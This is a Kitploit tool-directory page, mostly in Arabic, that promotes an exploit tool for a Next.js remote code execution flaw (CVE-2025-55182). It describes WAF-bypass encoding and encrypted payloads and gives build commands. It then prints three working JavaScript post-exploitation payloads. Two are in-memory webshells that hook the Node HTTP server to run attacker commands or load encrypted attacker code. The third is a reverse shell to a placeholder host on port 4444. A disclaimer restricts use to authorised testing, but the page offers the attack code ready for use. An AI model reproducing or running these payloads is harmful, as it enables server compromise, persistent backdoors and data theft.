Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Nextjs_RCE_Exploit_Tool — استغلال لـ CVE-2025-55182 و CVE-2025-66478 | Kitploit
أدوات/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتجاوز WAFاختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

استغلال لـ CVE-2025-55182 و CVE-2025-66478

14136منذ 8 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

أداة استغلال RCE في Next.js (CVE-2025-55182)


[!CAUTION] إخلاء المسؤولية / Disclaimer

هذه الأداة مخصصة للبحث والتعليم الأمني فقط. عند استخدام الأداة لإجراء أي اختبار، يجب على المستخدم التأكد من حصوله على التفويض القانوني للنظام المستهدف.

يُحظر تمامًا استخدامها في اختبار الاختراق غير المصرح به أو الهجمات الخبيثة أو أي استخدام غير قانوني. جميع المخاطر والعواقب القانونية الناتجة عن إدراك الثغرات واستغلالها يتحملها المستخدم بمفرده، ولا يتحمل مطوّرو هذا المشروع أي مسؤولية عنها.

إذا كنت لا تقبل هذه الشروط، فتوقف فورًا عن تنزيل الأداة أو استخدامها.

تم تطوير هذه الأداة بناءً على مقالات منشورة للعموم، ولا يتم توفير إصدارات ثنائية مجمّعة. يرجى مراجعة الكود المصدري وتجميعه بنفسك.


🙏 الشكر والتقدير / Credits

المنطق الأساسي لهذه الأداة وأفكار تجاوز الحماية مستوحاة من باحثين أمنيين في المجتمع، ونتوجه إليهم بخالص الشكر والتقدير:

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (P牛)

✨ الميزات / Features

  • سلاسل الاستغلال المدعومة:
    • Prototype Chain
    • Array Map Chain
  • تجاوز WAF:
    • ✅ ترميز Unicode
    • ✅ ترميز UTF-16LE
  • OpSec:
    • 🔐 تشفير حمولة AES
  • صندوق الأدوات:
    • تنفيذ الأوامر: يدعم الوضع المتزامن (execSync) والوضع غير المتزامن (exec).
    • إدارة الملفات: واجهة تحاكي مستكشف الملفات، تدعم تصفح الملفات وقراءتها وكتابتها.
    • الاستغلال المتقدم: يدعم تنفيذ كود JS الأصلي وتحميل الوحدات (module._load).

🛠️ البدء السريع

1. التحقق من الثغرة (Nuclei)

استخدم Nuclei لإجراء التعرف على البصمات والتحقق من الثغرات بشكل مجمّع:

root@kitploit:~
nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt

2. التجميع والتشغيل

root@kitploit:~
# 整理依赖
go mod tidy

# 编译
go build -ldflags="-s -w" -o ReactExploit cmd/main.go

# 运行
./ReactExploit

📸 لقطات الشاشة / Screenshots

1. الترميز

Config & WAF Bypass

2. تنفيذ الأوامر (RCE)

RCE

3. مستكشف الملفات

File Explorer File Read

4. الاستخدام المتقدم (Native JS Eval)

JS Eval Module Load

💉 أمثلة Payload

في وحدة "الاستغلال المتقدم -> تنفيذ كود JS الأصلي"، يمكنك استخدام الحمولات التالية لعمليات ما بعد الاختراق.

1. حقن Memshell

cmdlinux

root@kitploit:~
(function(){
    try {
        if (global.memshell_active) return "Memshell already active!";
        var http = process.mainModule.require('http');
        var cp = process.mainModule.require('child_process');
        var qs = process.mainModule.require('querystring');
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res) {
                var url = req.url || "";
                if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var postData = qs.parse(bodyStr);
                            var cmd = postData['pwd'];
                            if (cmd) {
                                var output = cp.execSync(cmd).toString();
                                res.writeHead(200, {'Content-Type': 'text/plain'});
                                res.end(output);
                            } else {
                                res.writeHead(400);
                                res.end("Parameter 'pwd' is missing.");
                            }
                        } catch (e) {
                            res.writeHead(500);
                            res.end("Error: " + e.message);
                        }
                    });
                    return true;
                }
            }
            return originalEmit.apply(this, arguments);
        };
        global.memshell_active = true;
        return "Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

https://github.com/BeichenDream/GodzillaNodeJsPayload

root@kitploit:~
(function() {
    try {
        if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
        var http = process.mainModule.require('http');
        var secretKey = '3c6e0b8a9c15224a'; 
        var payloadName = 'ge0b8a';
        function rc4(key, data) {
            var s = Array(256), k = Array(256);
            var i, j = 0, tmp;
            for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key.charCodeAt(i % key.length);
            }
            for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
            }
            i = j = 0;
            var out = Buffer.alloc(data.length);
            for (var idx = 0; idx < data.length; idx++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                var t = (s[i] + s[j]) % 256;
                out[idx] = data[idx] ^ s[t];
            }
            return out;
        }
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                var bodyArr = [];
                req.on('data', function(chunk) {
                    bodyArr.push(chunk);
                });
                req.on('end', async function() {
                    try {
                        var bodyStr = Buffer.concat(bodyArr).toString();
                        var json = JSON.parse(bodyStr);

                        if (json.data) {
                            var dataBuf = Buffer.from(json.data, 'base64');
                            var rawBody = rc4(secretKey, dataBuf);
                            if (global[payloadName] === undefined) {
                                try {
                                    var tmpPayload = new Function(rawBody.toString())();
                                    if (typeof tmpPayload === "object" && typeof tmpPayload.process === "function") {
                                        global[payloadName] = tmpPayload;
                                    }
                                } catch (err) {
                                }
                            }
                            if (global[payloadName] !== undefined) {
                                var result = await global[payloadName]['process'].call(global[payloadName], rawBody);
                                var resultBuf = Buffer.isBuffer(result) ? result : Buffer.from(String(result));
                                var encResult = rc4(secretKey, resultBuf);
                                res.writeHead(200, {'Content-Type': 'application/json'});
                                res.end(JSON.stringify({ "data": encResult.toString("base64") }));
                                return;
                            }
                        }
                    } catch (e) {
                    }
                   
                    res.writeHead(200, {'Content-Type': 'application/json'});
                    res.end(JSON.stringify({data: null}));
                });
                return true;
            }
            return originalEmit.apply(this, arguments);
        };
        global.godzilla_memshell_hooked = true;
        return "Godzilla Loader-Mode Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

2. شيل عكسي (Reverse Shell)

root@kitploit:~
(function(){
    try {
        var net = process.mainModule.require('net');
        var cp = process.mainModule.require('child_process');
        // 可根据环境修改为 /bin/bash
        var sh = cp.spawn('/bin/sh', ['-i']);
        var client = new net.Socket();
        
        client.on('error', function(err) {
            if (sh) sh.kill(); 
        });
        sh.on('error', function(err) {
            if (client) client.destroy();
        });
        
        client.connect(4444, 'x.x.x.x', function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return "Spawned successfully (Async)";
    } catch (e) {
        return "Failed to spawn: " + e.message;
    }
})();

تنزيل الأداة